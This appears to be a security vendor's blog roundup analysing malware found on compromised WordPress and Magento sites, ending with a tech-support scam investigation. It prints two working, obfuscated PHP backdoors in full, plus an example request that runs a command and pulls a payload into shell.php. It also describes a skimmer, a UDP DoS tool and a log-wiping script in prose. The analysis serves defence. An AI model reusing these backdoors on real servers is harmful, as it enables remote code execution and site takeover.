Backdoor Found in Compromised WordPress Environment

Our security analyst Ben Martin recently came across a backdoor in a compromised WordPress installation that had been injected into the first line of the theme file ./wp-content/themes/flatsome/header.php.

<?php
if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) 
   { $a = chr(109).chr(110);
     $n1 = chr(102).chr(105).chr(108).chr(101).chr(95);
     $n2 = chr(112).chr(117).chr(116).chr(95);
     $n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
     $b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
     $b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1;
     $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
     $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]);
     $z3 = $b2($_REQUEST[chr(100).chr(49)]);
@$n3($a,$z2);
@include($a);@unlink($a);
$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a;
@$n3($a,$z2);
@include($a);@unlink($a);die();
  } ?>

In this malicious sample, attackers use a well-known method to obfuscate the code called "string concatenation". Through the usage of the PHP function chr(), they store individual decimal values that correlate to the desired ASCII characters — making something like chr(104).chr(105) the equivalent to the ASCII characters for 'hi'.

The beginning of the code has two conditional checks within an if statement that need to be met before the malicious code will be executed:

  1. $_POST parameter with the name asavsdvds must exist in the attacker’s request
  2. $_POST parameter with the name lgkfghdfh must contain a value that whose MD5 hash sum equals e9787adc5271cb0f765294503da3f2dc

When decoded, the following variables show the purpose of this malicious code:

  • $a = mn and later changed to /tmp/mn
  • $n3 = file_put_contents
  • $b2 = base64_decode
  • $z2 = <?php base64_decode($_REQUEST[d1])
  • $n3 = file_put_contents

@$n3($a, $z2);
/*
replacing variables to make it easier to read:
@file_put_contents(mn, base64_decoded value of attacker's 'd1' request)
*/
@include($a);
@unlink($a);

The backdoor uses file_put_contents() to insert PHP code into a file named mn which is delivered to the file through the attacker’s encoded base64 $_REQUEST named d1.

The PHP function include() is used to load the mn file which contains the malicious PHP code delivered by the attacker’s HTTP request. After the mn file coding is included, then it is removed by the PHP function unlink.

The malicious code then repeats the same process — but this time it uses the file location /tmp/mn instead of mn. This is likely done to avoid any possible ownership or permission errors that may occur when using file_put_contents() to generate the file in the attacker’s request.

Since the malicious contents are provided by the attacker in their base64 encoded HTTP request, there’s a number of possibilities as to what PHP code could be getting included in ./wp-content/themes/flatsome/header.php. One example that is easy to demonstrate is passing along a base64 encoded string of the PHP code system(ls);.

Once loaded through the include() function, it will show the attacker the directory file listing.

directory file listing malicious code

The attacker can use a backdoor injection like this to maintain access to the compromised environment to remotely execute code until the injection has been fully removed.

Simple WAF Evasion Backdoor

Our team recently located a malicious PHP file on a compromised website which claims to evade web application firewalls, with the intention of downloading a malicious script to a compromised web-server.

<?php
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
$b($_REQUEST['c'], $a($_REQUEST['d']));
?>

The $a variable contains hexadecimal encoded text for the built-in PHP function file_get_contents which grabs the malicious payload from a third party website.

The $b variable is hexadecimal encoded text for the PHP function file_put_contents, which writes the contents to a file within the compromised environment.

The function var_dump essentially outputs the following _REQUEST variables, which are defined by URL parameters:

a= PHP function
b= function arguments
c= directory path you want to create with the malicious payload
d= location of the malicious payload

An example of these URL parameters in action would be the following URI, where waf.php contains the malicious code.

waf.php?a=system&b=ls+-lhart&c=/var/www/html/wordpress/shell.php&d=https%3A%2F%2Fpastebin.com%2Fraw%2Fh5fBwuqW

example url parameters on a simple waf evasion backdoor

If the website isn’t protected behind a firewall, then the PHP function system is executed along with its argument (in this case ls -lhart) and the malicious payload is downloaded from the defined source to the defined location — all of which is set in the GET request.

This malware tries to be evasive by using the hexadecimal format for its PHP functions of file_get_contents and file_put_contents. More importantly, it allows the attacker to provide the PHP function system through a HTTP GET URL parameter so that it isn’t stored in the file itself. This can help to prevent certain server side malware scanners from detecting it as malicious, since it does nothing without the crafted GET request.

While advertised as a method of bypassing WAFs - it is easily flagged as a RFI/LFI attempt by the Sucuri Firewall.

firewall blocking malicious behavior for backdoor

DoS Tool: 403.php

One of our analysts, Kaushal Bhavsar, found a malicious DoS file within a compromised website’s filesystem under the filename 403.php.

malicious DoS under the filename 403.php

The file attempts to conceal itself from casual viewers by loading a blank white page whenever a visitor loads the file directly in their browser.

To execute malicious code in the file, the visitor needs to pass two URL parameter values, time and host, through a submitted GET request. These two variables store modifiable values for the DoS attack, which the attacker can execute when they submit their request.

The time and host values let the PHP script know how long to run the attack (time) and against whom (host). Once the attacker knows the values they want to use, they can simply submit a GET request with the special parameter values.

Here is an example of a successful attack request shown in the browser, but this request could be sent from any HTTP client.

malicious DoS using GET request with special parameter values

A single website with this malicious file is not much of a threat to most servers and can be quickly blocked, but unprotected servers or clients could face issues if under attack from many different infected websites or host devices (e.g botnet).

The tool performs the attack by flooding UDP packets to the host through a port randomly chosen between 1-65000.

malicious DoS tool performs attack by flooding UDP packets to the host

Magento Skimmer Found Loading from magecart[.]net

We recently came across a simple Magento credit card skimmer found on a compromised website that was loading from the malicious domain magecart[.]net.

The malicious domain was first registered on December 8th, 2019 and is likely a blatant play on the hacker groups known under the collective name MageCart. This renowned group of threat actors regularly targets online shopping carts to steal payment and personal information.

We located the malicious file at ./pub/static/frontend/Infortis/ultimo/en_US/Magento_Checkout/template/billing-address.html on the compromised Magento website.

compromised magento website credit card skimmer iframe

The skimmer loads an iframe from a single line from HTML file onto the checkout page of a compromised Magento website, offering users a legitimate-looking area to input payment purchase information.

checkout form field on compromised magento site

A form field is then used to collect the payment card details and personal information of the victim.

Once all fields have been populated with data, a click event from the form submission triggers the function pay_save to exfiltrate the unencrypted stolen information back to the malicious domain magecart[.]net.

compromised magento website credit card skimmer data exfiltration

Data exfiltration is performed using JavaScript to capture the input from the form’s interface, then collects and condenses the information to the result variable so that it can finally be sent to a PHP script on the malicious magecart[.]net domain.

Clean Logs After Rooting Bash Script

During an active research investigation, we found an interesting bash script described by the author as Clean Logs After Rooting.

This script is used once an attacker has gained unauthorized root access to the server to scrub logs and prevent a website administrator from detecting such unauthorized access.

First, the script stops the server’s logging service located at /etc/init.d/rsyslog.

clean logs after root disable /etc/init.d/rsyslog

It then echos matikan system log, the word for disable in Indonesian, to notify the attacker that the service has stopped.

clean logs after root overwrite log data

After a 2 second pause, it cycles through a list of common logs located in the /var/log/ directory to see if they exist or not:

wtmp
btmp
lastlog
messages
secure
up2date
tallylog
mcelog
kernellog
cron

If the logs exist, then the script uses echo > on the log entry files to tell the system to echo empty file content, essentially overwriting all existing log data for those files.

It then accesses logs from the web server and overwrites all existing log data from those locations.

clean logs after root disable common logs

Because logging has been disabled, no additional information will be populated in any of the log locations.

The script also contains some special commands for cPanel environments. The bash terminal command chattr -ia is used to unlock the cPanel files by changing the file attributes. It also wipes data from cPanel logs used for monitoring various server activity.

clean logs after root wipe cPanel

To further prevent detection of unauthorized access, the script then clears the bash history with the history -c command.

This bash script is especially dangerous for VPS and dedicated environments, since root access is not controlled by the web host and they are typically not as hardened as shared hosting servers.

WordPress Mass Password Changer

Our team recently came across a password changer for WordPress that allows attackers to modify WordPress user passwords within a compromised environment.

wordpress mass password changer php file

By default, the tool is set to target user ID=1, which is almost always the administrative user. This tool is fairly customizable, allowing attackers to modify or target all usernames and passwords within the WordPress installation.

wordpress mass password changer user interface

To initiate a password change, the attacker defines the location of the wp-config.php file in the Config List.

When the Submit button is pressed, the script sends a POST request containing data like the username and password to the PHP file.

wordpress mass password changer success notification

The URL is then gathered from the config list provided in the interface, and pulls database information from wp-config.php to change the username and information for the profile.

The function file_get_contents2 is a custom function that grabs the data using curl and drops the changes into a pchangedlist.txt file for future reference.

Desperate scammers

In an ideal scenario, when a scam website is found by a blacklist authority, it’s flagged as malicious and eventually taken down by the domain registrar or the web host once abuse reports have been verified.

Whenever a blacklist takes down a scam domain, it costs the scammers ample time and resources and means that they’ll need to start over. Sometimes, scammers try to social engineer their domains out of blacklistings — and sometimes they succeed!

We recently encountered such a scammer after we reviewed a domain that had requested to be removed from our blacklist.

The respondent claimed that the domain had been falsely flagged and labeled as a scam:

This email request was interesting — they claimed that other AV vendors (Avast, ESET, Kaspersky, and Fortiguard) had reviewed and removed their domain from their respective blacklists. The email body text also included correspondence between the sender and the three AV vendors.

However, when you actually read the text of the emails only one of the AV vendors actually confirmed that they removed the malicious domain from their “anti-phishing databases”. The other AV vendors said it was not blacklisted or did not reply.

A quick review of the domain brought us to this landing page:

After investigating the website, it was clear that the domain was in no way officially related to Yahoo.

Searching the toll-free phone number pulled up a recent report describing a typical tech support scam: the scammer convinces the victim to give them remote access so they can troubleshoot some problems (which may not even exist). They then offer to fix these problems for a very high fee. A separate report for the number supports this claim.

Unfortunately, these types of tech support scam websites can be rather difficult to blacklist by traditional AV companies and/or removed by the web host, or registrar. Technically, the website itself is not stealing login credentials like a phishing page, nor is it spreading malware to visitors.

The danger lies in the fact that it falsely represents itself as an official Yahoo contact, and uses this credibility indicator to convince victims to dial the phone number. Once they have the victim on the phone, it’s an entirely different story - but the website itself doesn’t look to be used for anything other than encouraging a visitor to call the listed phone number.

The blacklisted domain does mention they are not affiliated to Yahoo in their footer disclaimer, but also uses very ambiguous wording to trick consumers. It also seemingly contradicts itself by first starting they are an independent third party support for “Yahoo Mail support services”, but then goes on to say the business entity “GLS” is “[...]not affiliated with any brand or otherwise authorized by Yahoo to provide any service to Yahoo users.”:

It seems that the scammer has been able to remove themselves from any blacklists in the recent past, but we’ve kept their website blacklisted. It’s a scam, and we want to warn potential victims so they can remain safe from bad actors.

Few notes:

The cert for invalid pages (ex: hxxps://www[.]glstechserve[.]net/404) is for another domain: globalitsolutionsusa.com

This seems to be a generic web services page.

Seems like they also have hxxps://www[.]glsitsolutions[.]com as the contact page has the following contact emails:

  • support@globalitsolution[.]com
  • info@globalitsolutionsusa[.]com
  • hxxp://globalitsolutionsusa[.]com

As well as the exact same template.

The email of the page owner can be found on the contact page of glsitsolutions[.]com
(hxxps://www[.]glsitsolutions[.]com/contact-us/)

According to this forum: https://www.scammer.info/d/13594-email-support-scammer/5

There are other domains associated to the same scammer:

hxxps://www[.]email-technical-support[.]com/ - This one is offline
hxxps://www[.]glstechserve[.]net/
hxxps://www[.]assistanceforall[.]com/

Similar service: http://antivirustechnicalservice.com for malware bytes